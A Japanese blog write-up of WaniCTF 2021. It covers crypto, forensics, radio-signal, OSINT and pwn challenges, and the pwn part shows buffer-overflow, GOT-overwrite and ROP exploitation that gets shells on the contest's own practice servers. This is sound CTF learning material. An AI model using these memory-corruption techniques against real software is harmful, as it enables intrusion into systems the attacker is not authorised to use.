好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

WaniCTF 2021 writeup

2021年11月5日~7日にかけて開催されてた、waniCTFのwriteupです。
waniCTFは「大阪大学 CTF サークル Wani Hackase が開催する初心者向けの CTF 」とのことで、毎回問題が丁寧に作られていてとても勉強になります。初心者だから優しい問題・典型問題が多いかと言うとそうではなく、既存のツールを使うだけでは解けなかったり頭を使うことが要求される問題が多い印象です。

戦績

今回は 4625pt 取得して27位でした!

f:id:kusuwada:20211107201207p:plain

参加者430名(うち330名がpoint取得)、全完者4名。2020のときが36位だったみたいなので頑張ったのでは。

MiscとReversing全完、CryptoとPwn頑張ろうねという感じ。Crypto、楕円曲線暗号が出たあたりから脳みそが停止してしまった。復習頑張ろう。

[Crypto] fox (Beginner)

What does the fox say?🦊

配布されたのはpyhonスクリプトとoutput.txt

flag = b"FAKE{REDACTED}"


def bytes_to_int(B: bytes):
    X = 0
    for b in B:
        X <<= 8
        X += b
    return X


print(bytes_to_int(flag))
19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197

output.txtに記載されたintを2進数に直し、これを8桁ずつascii codeに直せばflagが出ました。intに直すときに最上位桁が抜けている可能性があるので、最初の文字がFになるよう、2進数に直したときに最上位に0を一つつけておきました。

flag_bin = '010001100100110001000001010001110111101101010010001100010110111001100111010111110110010000110001011011100011100101011111011001000110100101101110011001110101111101100100001100010110111001100111010111110110010001101001011011100110011100110011011100100110100101101110011001110011001101100100011010010110111001100111001111110101111101011111010101110110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110111101110111001111110101111101011111011011110111001001011111011010110110111101101110011010110110111100101101011011100011111101111101'

#while flag_int > 0:
for i in range(len(flag_bin)//8):
    ch_bin = flag_bin[i*8:i*8+8]
    print(chr(int(ch_bin, 2)),end='')

実行結果

$ python solve.py 
FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}

[Crypto] dango (Easy)

🍡

pythonスクリプトとoutput.txtが配布されます。

import secrets
from functools import reduce

flag = b"FAKE{REDACTED}"
key = [secrets.token_bytes(len(flag)) for _ in range(3)]


def XOR(*X):
    xor = lambda A, B: bytes(x ^ y for x, y in zip(A, B))
    return reduce(xor, X)


ciphertext = XOR(flag, key[0])
A = XOR(key[0], key[1], key[2])
B = XOR(key[0], key[1])
C = XOR(key[1], key[2])

print(f"ciphertext : {ciphertext.hex()}")
print(f"A : {A.hex()}")
print(f"B : {B.hex()}")
print(f"C : {C.hex()}")
ciphertext : bd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0
A : cae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359
B : e6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7
C : 319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4

XOR演算はもう一度同じものをXORするともとに戻るので

cipher XOR A XOR B

flag XOR key0 XOR key0 XOR key1 XOR key2 XOR key1 XOR key2
= flag

これを計算すればOK。Cは不要でした。

from functools import reduce
import codecs

ciphertext = 'bd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0'
A = 'cae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359'
B = 'e6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7'
C = '319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4'

def XOR(*X):
    xor = lambda A, B: bytes(x ^ y for x, y in zip(A, B))
    return reduce(xor, X)

def unhex(h):
    return codecs.decode(h, 'hex_codec')

key0 = XOR(unhex(A), unhex(C))
flag = XOR(unhex(ciphertext), key0)
print(flag)

実行結果

$ python solve.py 
b'FLAG{dango_sankyodai_dango__-ooo-}'

[Forensics] propaganda (Beginner)

超人気ゲームをみんなでプレイしよう!

mp4が配布されます。

f:id:kusuwada:20211107201516p:plain:w400

よーく見てたら、一瞬FLAGが表示されたので、そのコマまで巻き戻して表示。

f:id:kusuwada:20211107201537p:plain:w400

[Forensics] sonic (Easy)

妖怪からのメッセージです.

音量注意!

flag.wavが配布されます。
stego-toolkitのwav対応のものを一通り試してみますがノーヒット。

上記ツールのREADMEでTODOになっているspectrologyだけ何も出来なかったので、サイトを訪れてツールの内容を見てみると、画像を音のスペクトルに変更して音声化するツールらしい。ということは、この音声のスペクトルが見えると何か出てくるかも?
sonic-visualiserをインストールしてスペクトルを表示してみたところあたりでした!

f:id:kusuwada:20211107201637p:plain

[Forensics] partition01 (Easy)

新しくUSBを買ったのでたくさんパーティションを作ってみました!

partition.imgが配布されます。

setodaNoteCTFのdeletedfileと同じ解き方で、partitionのoffsetを確認して中身を見ていきます。

# mmls partition.img 
GUID Partition Table (EFI)
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Safety Table
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  Meta      0000000001   0000000001   0000000001   GPT Header
003:  Meta      0000000002   0000000033   0000000032   Partition Table
004:  000       0000002048   0000526335   0000524288   Linux filesystem
005:  001       0000526336   0001050623   0000524288   Linux filesystem
006:  002       0001050624   0001574911   0000524288   Linux filesystem
007:  003       0001574912   0002099199   0000524288   Linux filesystem
008:  004       0002099200   0002623487   0000524288   Linux filesystem
009:  005       0002623488   0003147775   0000524288   Linux filesystem
010:  006       0003147776   0003672063   0000524288   Linux filesystem
011:  007       0003672064   0003932126   0000260063   Linux filesystem
012:  -------   0003932127   0003932159   0000000033   Unallocated

まずは000を確認。offest=2048

# fls -o 2048 partition.img 
d/d 11: lost+found
r/r 12: wani.txt
V/V 65537:  $OrphanFiles
# icat -o 2048 partition.img 12
WANI{FLAG{WANI{FLAG{WANI{FLAG{WANI{FLAG{WANI{FLAG{WANI{FLAG{WANI{}}}}FLAG{WANI{FLAG{WANI{}FLAG{WANI{FLAG{WANI{}}}}}FLAG{WANI{FLAG{WANI{}}}}FLAG{WANI{FLAG{FAKFLAG{WANI{FLAG{WANI{}}}}E{}}}}FLAG{WANI{FLAG{WANI{}}}}}}}FLAG{WANI{FLAG{WANI{}}}}}FLAG{WANI{FLAG{WANI{}}}FLAG{WANI{FLAG{WANI{}}FLAG{WANI{FLAG{WANI{}}}}}}FLAG{WANI{FLAG{WANI{}}}}FLAG{WANI{FLAG{WANI{}}}}FLAG{WANI{FLAG{WANI{}}}}FLAG{WANI{FLAG{WANI{}}}}FLAG{WANI{FLAG{WANI{}}}} 
...(めっちゃ続く)

ん。これはダミーかな?
次はflag.txtのあるパーティションを発見。

# fls -o 1050624 partition.img 
d/d 11: lost+found
r/r 12: flag.txt
V/V 65537:  $OrphanFiles
# icat -o 1050624 partition.img  12 > flag.txt

flag.txtの中身は

The "partition01" FLAG is the name of the 3rd partition!

FLAG{FLAG{FLAG{FLAG{FLAG{FLAG{FLAG{FLAG{FLAG{FLAG{FLAG{FLAG{FLAG{}}}}FLAG{FLAG{FLAG{FLAG{}FLAG{FLAG{FLAG{FLAG{}}}}}FLAG{FLAG{FLAG{FLAG{}}}}
...

最初の文章が大事。(これを読み飛ばしていて、最初に02の方をクリアしてしまった。)
partitionの詳細はfsstatで取得できるので

# fsstat -o 1050624 partition.img 
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext4
Volume Name: FLAG{GPT03}
Volume ID: 409e326462f68eaf944ae5a676bcebb1
(略)

Volume nameにFLAGが!

[Forensics] partition02 (Hard)

FLAG01とFLAG02にflag画像を分割して入れておきました.

添付のファイルは"partition01"と同じものです.

partition01に続けて他のパーティションも同じように調べていくと、flag01.txt,flag01.pngのあるパーティション、flag02.txt,flag02.pngのあるパーティションが見つかりました。それぞれデータを取り出すと

"flag01.png" is the 1st part of "patition02" FLAG.
"flag02.png" is the 2nd part of "patition02" FLAG.

それぞれflag01.pngは下のほうが描けており、flag02.pngはpngのフォーマットから始まっていません。問題文と、flag02の方のデータの最後にpngデータの終端フォーマットIENDが書かれていたことから、バイナリを繋げば良さそうと思い至る。

$ cat flag01.png flag02.png > flag.png

これで出てきたflag.pngにflagが出現していました。

f:id:kusuwada:20211107201745p:plain:w400

[Forensics] poly (Normal) ※未solve

お前...pngか...?

FLAGの中身はすべて小文字です.

「MP3」と書いてあるpngが配布されます。
バイナリエディタで開いてみると、こんな感じで規則正しく並んでいるところもあり。怪しい…けど何かになりそうにないな。

f:id:kusuwada:20211107201840p:plain

最後の方を見てみると、LAMEという文字列が頻繁に出てきている。最後のほうだとデータを付け足しやすそうだし怪しいな?と思ってググってみると、こんなサイトを発見。

MP3への変換に用いられるソフトウェアらしい。トップページに Latest LAME release: v3.100 とあり、最後の方の怪しいバイト列の出だしも

LAME3.100

アヤシイ…。
試しにkaliでコマンド打ってみると、なんと入ってた!ラッキー!

lame
LAME 64bits version 3.100 (http://lame.sf.net)

usage: lame [options] <infile> [outfile]

    <infile> and/or <outfile> can be "-", which means stdin/stdout.

Try:
     "lame --help"           for general usage information
 or:
     "lame --preset help"    for information on suggested predefined settings
 or:
     "lame --longhelp"
  or "lame -?"              for a complete options list

versionもあってる。

使い方はhelpコマンドか、lame(1): create mp3 audio files - Linux man page

$ lame lamefile output.mp3
LAME 3.100 64bits (http://lame.sf.net)
Using polyphase lowpass filter, transition band: 16538 Hz - 17071 Hz
Encoding lamefile to output.mp3
Encoding as 44.1 kHz j-stereo MPEG-1 Layer III (11x) 128 kbps qval=3
    Frame          |  CPU time/estim | REAL time/estim | play/CPU |    ETA 
     2/2     (100%)|    0:00/    0:00|    0:00/    0:00|   8.9768x|    0:00 
-------------------------------------------------------------------------------
   kbps        MS  %     long switch short %
  128.0      100.0        25.0  50.0  25.0
Writing LAME Tag...done
ReplayGain: -1.4dB

ノーオプションで実行してみたけど、なにかmp3ファイルが生成された👍
…しかしここからどうして良いかわからない。ここでタイムアップ。解法が気になる…!

[Misc] binary (Beginner)

無線通信問題1問目です。

文字も所詮1と0の集合です。

sample.pyを参考に復号器を作ってみてください。

binary.csvは1列目が時刻、2列目がON-OFFの信号を表しています。

ASK、ASK over the airと進む中で無線通信の面白さが伝われば...と思っています。

「binary」はWaniCTF 2021-springとほぼ同じ問題なのでハードルが高いと感じる人は、「WaniCTF 2021-spring binary writeup」でぐぐりつつ解いてみてください。

binary.csvsample.pyが配布されます。
csvはtimeとsignal(0,1)のカラムがあり、これをflagにするっぽい。無線のことは全然わからないけどsample.pyを参考にすればなんとかなりそう。

sampleを動かしてみます。

$ python sample.py 
[0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1]
WANI

なるほど。"WANI"という信号をbitに変換する関数と、変換後のbitを信号に戻す関数で出来ているので、後者を使えば良さそう。

import csv

bits = []
with open('binary.csv') as csv_file:
    csv_reader = csv.reader(csv_file, delimiter=',')
    line_count = 0
    for row in csv_reader:
        if line_count != 0:
            bits.append(row[1])
        line_count += 1

s = ""
c = 0
for i in range(len(bits)):
    val = int(bits[i])
    c = (c << 1) | val
    if i % 8 == 7:
        s = s + chr(c)
        c = 0

print(s)

実行結果

$ python solve.py 
FLAG{binary-is-essential-for-communication}

[Misc] docker_dive (Easy)

Dockerの中に入ってsolverを実行してください。

Install Docker !

与えられたDockerfileでDockerをbuildしてください

dockerのなかに/bin/shを実行して入ってください

/bin/bashでエラーがでる場合は/bin/shです。

solverを実行してください

Dockerは個人の環境に関係なく同じ環境を構築するために使われます。

一部のpwn問題は問題サーバー構築に使ったDockerfileを一緒に提供しています。

ローカルで動いてリモートで動かない場合はDockerを使って確認しましょう!

Dockerfilesolverが提供されます。

dockerはもともと入れていたので、docker buildしてみます。

$ docker build -t wani .

これを実行してみます。interactiveのオプションitを付けると無事/home/miscに入ってinteractiveモードになったので、そのまま問題のファイルを実行。

$ docker run -it --rm wani
/home/misc # ls
solver
/home/misc # ./solver 
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: /lib/ld-musl-x86_64.so.1 [options] [--] pathname
FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}

[Misc] nearest (Easy)

写真の場所に行きたいので、最寄り駅を教えてください。

ヘボン式

ex) 東京駅 → FLAG{tokyoeki},新大阪駅 → FLAG{shinosakaeki}

配布された画像がこちら。

f:id:kusuwada:20211107202031j:plain:w400

これはOSINT問題かな。

パット見てヒントになりそうなのは、「駅前商店街」「?さくら?」という看板。文字がよく読めない。あとは、真っ黄色の電車。特徴的な踏切の警報灯。
この警報灯、「全方向踏切警報灯」というやつっぽい。

最初は黄色い電車=京急?と思ったのですが(神奈川県民)、どうも窓の形が違うっぽい。ググってみたところ

【鉄道写真】黄色い電車~岡山駅の朝~ - ちゃみおか発

このページにある写真の電車が窓の形もよく似ている。

この電車が走っているっぽい路線は、伯備線、赤穂線、山陽本線…って多いわ!出身地近くの路線とはいえ、全部の駅を探すのはしんどい。どうしよっかなぁ…。

と、一旦諦めてスキマ時間に携帯でポチポチ検索しようと思い

駅前商店街 踏切 黄色 とか適当に調べたらなんと似たような地域の写真がトップに出てきた。びっくり。そういえばこの写真、坂が多そうな地形。そしてそのトップの写真は尾道。近くに「さくら」というカフェっぽいものがあるかgoogle mapで確認して尾道駅でFLAGを入れたら通りました👍

一旦頭を冷やすことも大事。

[Misc] digital ASK (Normal)

無線通信問題2問目です。

WaniCTF 2021-springとほぼ同じ問題です。

この後の「ASK over the air」に関わるので以下の情報を意識して解いてみて下さい。

無線通信のフレームフォーマット

preambleは10を16回繰り返した0xAAAAAAAA

start frame delimiter (SFD)は0xE5

実務では↑の情報もブラインドで解析することが多いです。

binary問題と同じく、csvファイルが配布されます。この信号部分を ''.join(bits) して見てみると、最短で16個連続して0,1が現れています。これらをまとめて、bin to asciiしてあげると、意味不明のバイト列が続きましたが可読部がFLAGになっていました。

import csv

bits = []
with open('digital_ask.csv') as csv_file:
    csv_reader = csv.reader(csv_file, delimiter=',')
    line_count = 0
    for row in csv_reader:
        if line_count != 0:
            bits.append(row[1])
        line_count += 1

joined = ''.join(bits)
bit_flag = joined.replace('1111111111111111','1').replace('0000000000000000','0')

n = int('0b'+bit_flag, 2)
print(n.to_bytes((n.bit_length() + 7) // 8, 'big'))

実行結果

$ python solve.py 
b"\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xdc\x1b\x19X\\\xd9K][\x99\x19\\\x9c\xdd\x18[\x99\x0bY\x9c\x98[YKY\x9b\xdc\x9bX]\x0b[\xd9\x8b]\xda\\\x99[\x19\\\xdc\xcbX\xdb\xdb[][\x9aX\xd8]\x1a[\xdb\x9fB\x80\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb7\x06\xc6V\x176R\xd7V\xe6FW'7F\x16\xe6B\xd6g&\x16\xd6R\xd6f\xf7&\xd6\x17B\xd6\xf6b\xd7v\x97&V\xc6W72\xd66\xf6\xd6\xd7V\xe6\x966\x17F\x96\xf6\xe7\xd0\xa0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xdc\x1b\x19X\\\xd9K][\x99\x19\\\x9c\xdd\x18[\x99\x0bY\x9c\x98[YKY\x9b\xdc\x9bX]\x0b[\xd9\x8b]\xda\\\x99[\x19\\\xdc\xcbX\xdb\xdb[][\x9aX\xd8]\x1a[\xdb\x9fB\x80\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb7\x06\xc6V\x176R\xd7V\xe6FW'7F\x16\xe6B\xd6g&\x16\xd6R\xd6f\xf7&\xd6\x17B\xd6\xf6b\xd7v\x97&V\xc6W72\xd66\xf6\xd6\xd7V\xe6\x966\x17F\x96\xf6\xe7\xd0\xa0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n"

[Misc] ASK over the air (Hard)

無線通信問題3問目です。

ASK変調したデータを電波で飛ばしてUSRPでキャプチャしたデータです。

フレームフォーマットはdigital ASKと同じです。

I信号とQ信号に分かれているところが若干トリッキーですが、digital ASKが解けたなら行けるはず...

実機使ったので謎のパルスノイズが乗っていますが、無視してください。

今回もcsvが配布されますが、0,1のきれいなシグナルではなく、I, Qの2つのカラムを持つ連続値となっています。
データが多いので、全体の値の散らばり具合を確認して、絶対値が 1.0E-3 あたりでしきい値を取って0,1に振り分ければ、これまでと同じく割と連続した0,1のシグナルになることを確認。

実機を使ってデータを取ったとあるので、ヒントより前回と同じ16連続のブロックになっていると仮定し、ブロック内での多数決で0,1を決定することにしてノイズに強くしました。

I,Qのどちらを使えばよいかわからなかったので、まずはIのデータだけで今までと同じように連続値をまとめてbin to asciiしてみたけれどもいい結果が出ず。
最初の向こうっぽい0の連続を削ってstart地点を変えて上げるとうまくいくかもと思い、ずらしたものを全部出力してみるとFLAGが出てきました。

import csv

I = []
Q = []
THRESHOULD = float('1.0E-3')
BLOCK = 16

def th(a):
    if abs(a) >= THRESHOULD:
        return '1'
    else:
        return '0'

def maj(a):
    if a.count('1') > a.count('0'):
        return '1'
    else:
        return '0'

with open('ask-over-the-air.csv') as csv_file:
    csv_reader = csv.reader(csv_file, delimiter=',')
    line_count = 0
    for row in csv_reader:
        if line_count != 0:
            I.append(th(float(row[1])))
            Q.append(th(float(row[2])))
        line_count += 1

bit_flag = ''
for i in range(len(I)//BLOCK):
    bit_flag += maj(I[i*BLOCK:(i+1)*BLOCK])

s = ''
c = 0
for n in range(8):
    bit_flag = bit_flag[1:]
    for i in range(len(bit_flag)):
        val = int(bit_flag[i])
        c = (c << 1) | val
        if i % 8 == 7:
            s = s + chr(c)
            c = 0
    print(s)

実行結果

$ python solve.py 
###### n = 0 ######
UUUW*2b
;ÛË{©k
      k#+#)kk
             sÉjKz¡kkk«sK
                         £{sèP
###### n = 1 ######
(略)
###### n = 2 ######
(略)
###### n = 3 ######
(略)
###### n = 4 ######
(略)
###### n = 5 ######
UUUW*2b
;ÛË{©k
      k#+#)kk
             sÉjKz¡kkk«sK
                         £{sèP
ªªª®TdÄw·÷RÖ6âÖFV6öFRÖÖçÔõBÖ6öÖ×Væ6Föç7РUUU\¨É(ïo-l-Ŭ¬m쥭¬-Ï%©-ê¬mí­®­Í,l.-íÎo¡@*ªªª¹QQÞÞ[ÝKXØ[YXÛÙK[X[KR[Õ
                                  XÛÛ[][XØ][ÛßBUUUUr£& £½¼·º±°·²2±·²2¶°·<¤·ª±·¶¶º·4±°º4··9¾ªªªªåFLAG{you-can-decode-many-IoT-communications}

###### n = 6 ######
UUUW*2b
;ÛË{©k
      k#+#)kk
             sÉjKz¡kkk«sK
                         £{sèP
ªªª®TdÄw·÷RÖ6âÖFV6öFRÖÖçÔõBÖ6öÖ×Væ6Föç7РUUU\¨É(ïo-l-Ŭ¬m쥭¬-Ï%©-ê¬mí­®­Í,l.-íÎo¡@*ªªª¹QQÞÞ[ÝKXØ[YXÛÙK[X[KR[Õ
                                  XÛÛ[][XØ][ÛßBUUUUr£& £½¼·º±°·²2±·²2¶°·<¤·ª±·¶¶º·4±°º4··9¾ªªªªåFLAG{you-can-decode-many-IoT-communications}
UUUUÊöòÞêZÆÂÜZÈÊÆÞÈÊZÚÂÜòZÞ¨ZÆÞÚÚêÜÒÆÂèÒÞÜæú
###### n = 7 ######
(略)

[Pwn] nc (Beginner)

nc nc.pwn.wanictf.org 9001

ヒント

  • netcat (nc)と呼ばれるコマンドを使うだけです。
  • つないだら何も出力されなくてもLinuxコマンドを打ってenterを入力してみましょう。
  • Linuxの基本的なコマンド集(リンク)
  • pwnの問題ではシェルが取れたときに何も出力されないので分かり辛いですが、とりあえずlsとか実行してみるとシェルが取れてたりすることがあります。

pwn苦手民としては、ヒントがたくさんあってありがたい…。

$ nc nc.pwn.wanictf.org 9001
welcome to WaniCTF 2021!!!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{the-1st-step-to-pwn-is-netcatting}

[Pwn] BOF (Beginner)

よーし、今日も魔王を倒しに行くか!

...あれ、ふっかつのじゅもんが違う...だと...?

nc bof.pwn.wanictf.org 9002

ヒント

title を調べてみましょう。

titleより、Buffer Over Flowの予感。
まずはつないでみます。

$ nc bof.pwn.wanictf.org 9002
ふっかつのじゅもんを いれてください

配布されたCのソースを読むと、ここで入力した文字列がflagと一致すればflagを表示してくれるらしい。

  printf("ふっかつのじゅもんを いれてください\n");
  gets(password);

  if (strcmp(password, flag) == 0)
    ok = 1;

  if (ok) {
    printf("よくぞもどられた!\n");
    printf("%s\n", flag);
  } else {
    printf("じゅもんが ちがいます\n");
  }

ここで変数passwordのサイズが 0x34 = 52d なので、これより長いものを入力してOverflowさせてみるとOKを0以外に書き換えられそう。適当に長い文字を入れてみる。

$ nc bof.pwn.wanictf.org 9002
ふっかつのじゅもんを いれてください
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
よくぞもどられた!
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}

[Pwn] got rewriter (Easy)

nc got-rewriter.pwn.wanictf.org 9003

ヒント

「参考になるwriteupを探す練習」用の問題です。

CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、それを読みながら少しずつ自分の技術力を高めていきます。

この問題ではgot rewriter writeup WaniCTFでググると参考になるページが出てくるかもしれません。

got.cと実行ファイルが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void init();

void win() {
  printf("congratulation!\n");
  system("/bin/sh");
  exit(0);
}

unsigned long int get_val() {
  char str_val[0x20];
  int ret;
  unsigned long int val;
  ret = read(0, str_val, 0x20 - 1);
  str_val[ret] = 0;
  val = strtol(str_val, NULL, 16);
  return val;
}

void vuln() {
  char str_val[0x20];
  unsigned long int val;
  unsigned long int *p;
  int ret;

  printf("Please input target address (0x600000-0x700000): ");
  val = get_val();
  printf("Your input address is 0x%lx.\n", val);
  if (val < 0x600000 || val > 0x700000) {
    printf("you can't rewrite 0x%lx!\n", val);
    return;
  }
  p = (unsigned long int *)val;

  printf("Please input rewrite value: ");
  val = get_val();
  printf("Your input rewrite value is 0x%lx.\n\n", val);

  printf("*0x%lx <- 0x%lx.\n\n\n", (unsigned long int)p, val);
  *p = val;
}

int main() {
  init();
  printf("Welcome to GOT rewriter!!!\n");
  printf("win = 0x%lx\n", (unsigned long int)win);
  while (1) {
    vuln();
  }
}

void init() {
  alarm(0x100);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

win関数をcallすると、shellが取れるみたい。
winはプログラム中から呼び出されていませんが、最初にアドレスを渡してくれます。
しかも、vuln関数内で、書き換えたいアドレスと上書きするアドレスを渡せる親切設計。
と思ってたら、過去のwaniCTFでも同じ問題が出てました!

まずはwinのアドレスを調べます。ファイル実行したら教えてくれるから本当は今回は不要なんだけど。

# objdump -d -M intel ./got | grep win
0000000000400807 <win>:
  4009ad:   48 8d 05 53 fe ff ff    lea    rax,[rip+0xfffffffffffffe53]        # 400807 <win>

printfを上書きしたいので、アドレスを調べます。

$ objdump -d -M intel ./got | grep printf
00000000004006d0 <printf@plt>:
  4006d0:   ff 25 62 09 20 00       jmp    QWORD PTR [rip+0x200962]        # 601038 <printf@GLIBC_2.2.5>
  4008be:   e8 0d fe ff ff          call   4006d0 <printf@plt>
  4008e4:   e8 e7 fd ff ff          call   4006d0 <printf@plt>
  400910:   e8 bb fd ff ff          call   4006d0 <printf@plt>
  40092b:   e8 a0 fd ff ff          call   4006d0 <printf@plt>
  400951:   e8 7a fd ff ff          call   4006d0 <printf@plt>
  40096d:   e8 5e fd ff ff          call   4006d0 <printf@plt>
  4009c3:   e8 08 fd ff ff          call   4006d0 <printf@plt>

なんと値まで全て過去問と一緒だった。あとはサーバーの方につないで書き換えてもらうようお願いする。

$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000): 601038
Your input address is 0x601038.
Please input rewrite value: 400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}

[Pwn] rop-machine-returns (Easy)

nc rop-machine-returns.pwn.wanictf.org 9004

ヒント

「参考になるwriteupを探す練習」用の問題です。

CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、それを読みながら少しずつ自分の技術力を高めていきます。

rop-machineを使った問題はWaniCTF'21-springでも出しています。

githubでwanictf rop writeupで検索すると何か出てくるかもしれません。

rop machineの使い方->wani-hackase/rop-machine

これも過去問が参考になるらしい。あれ?春も開催されてたっけ?バタバタしてて参加しそびれたっぽい。
2021春の関連問題はここを参考にさせていただきました

プログラムもほぼほぼ同じなので、ソルバがそのまま使えそう。
こちら過去問のwriteupを探す練習とのことで、そのままソルバを使わせてもらった。自分でも組んでやりたいけど、復習の時間でやろう。

実行結果

+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{please-learn-how-to-use-rop-machine}

[Pwn] baby_heap (Normal)

Tcache poisoningを練習するための問題です。

自由にmallocとfreeと書き込みができます。

freeされたchunkにはデータの代わりにfdというアドレスが残ります。

fd(forward)はLast-In-First-OutのLinked Listで構成されます。

malloc先はこのfdのアドレスを参照して決められます。

main_retにmallocしてsystem('/bin/sh')を書いてmain関数を終了しましょう。

nc babyheap.pwn.wanictf.org 9006

出た!heap問題だ!この問題は本当にbabyかな?
tcache poisoningと明記していただいているので、方針が立てやすくて嬉しい。

cのソースと実行ファイル、問題環境構築のスクリプトまで配布されています。これは使わなくても良さそう。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init() {
  alarm(600);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void menu() {
  printf("1. malloc\n");
  printf("2. free\n");
  printf("3. write\n");
  printf("4. exit\n>");
}

void win() { system("/bin/sh"); }

void print_fd(long long int entry, int count) {
  long long int array[5] = {
      0,
  };
  long long int *temp;
  temp = (void *)entry;
  printf("\n!! Segfault may happen when fd isn't readable address\n");
  printf("fd >>> ");
  for (int i = 0; i < count && temp > 0xFFFFFFFF && temp < 0x7FFFFFFFFFFF;
       i++) {
    array[i] = *temp;
    printf("0x%llx ", array[i]);
    temp = (void *)array[i];
  }
  if (temp < 0xFFFFFFFF || temp > 0x7FFFFFFFFFFF)
    printf("Maybe Segfault from here...");
  printf("\n\n");
  printf("Will be allocated for the next malloc\n\n");
}

void print_info(char **list) {
  unsigned long r;

  for (int i = 0; i < 5; i++) {
    unsigned long long *p;
    unsigned long long *k;
    p = (unsigned long long *)(list[i]);
    k = (unsigned long long *)(list[i] + 8);
    printf("[%d] : ", i);
    if (list[i] == NULL)
      printf("Not Allocated\n");
    else if (*k != 0) {
      printf("Free Chunk\n");
      printf("Chunk at>%p\n", list[i]);
      printf("fd : 0x%llx\n", *p);
    } else {
      printf("Allocated Chunk\n");
      printf("Chunk at>%p\n", list[i]);
      printf("Data : %s\n", list[i]);
    }
  }
}

int main() {
  int idx;
  int choice;

  char *head;
  char *heap_list[5] = {
      NULL,
  };

  long long int entry;
  int *fd_count;

  init();
  head = (char *)malloc(0x10 * sizeof(char));
  entry = head - 0x2a0 + 0x90;
